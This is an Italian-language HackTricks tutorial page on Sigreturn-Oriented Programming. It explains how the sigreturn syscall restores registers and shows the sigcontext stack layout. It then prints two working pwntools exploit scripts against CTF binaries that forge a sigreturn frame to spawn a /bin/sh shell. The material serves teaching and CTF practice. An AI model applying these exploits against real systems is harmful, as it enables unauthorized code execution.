SROP - Sigreturn-Oriented Programming

Support HackTricks

Basic Information

Sigreturn è una syscall speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un gestore di segnali, una funzione speciale progettata per gestire i segnali.

Dopo che il gestore di segnali ha terminato, il programma deve riprendere il suo stato precedente come se nulla fosse accaduto. Qui entra in gioco sigreturn. Aiuta il programma a tornare dal gestore di segnali e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.

La parte interessante è come sigreturn ripristina lo stato del programma: lo fa memorizzando tutti i valori dei registri della CPU nello stack. Quando il segnale non è più bloccato, sigreturn estrae questi valori dallo stack, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack.

Chiamando la syscall sigreturn da una catena ROP e aggiungendo i valori dei registri che vorremmo caricare nello stack, è possibile controllare tutti i valori dei registri e quindi chiamare ad esempio la syscall execve con /bin/sh.

Nota come questo sarebbe un tipo di Ret2syscall che rende molto più facile controllare i parametri per chiamare altre Ret2syscall:

Ret2syscall

Se sei curioso, questa è la struttura sigcontext memorizzata nello stack per recuperare successivamente i valori (diagramma da qui):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Per una spiegazione migliore controlla anche:

Esempio

Puoi trovare un esempio qui dove la chiamata a signeturn è costruita tramite ROP (mettendo in rxa il valore 0xf), anche se questo è l'exploit finale da lì:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Controlla anche l' exploit da qui dove il binario stava già chiamando sigreturn e quindi non è necessario costruirlo con un ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Altri Esempi & Riferimenti

Supporta HackTricks

Last updated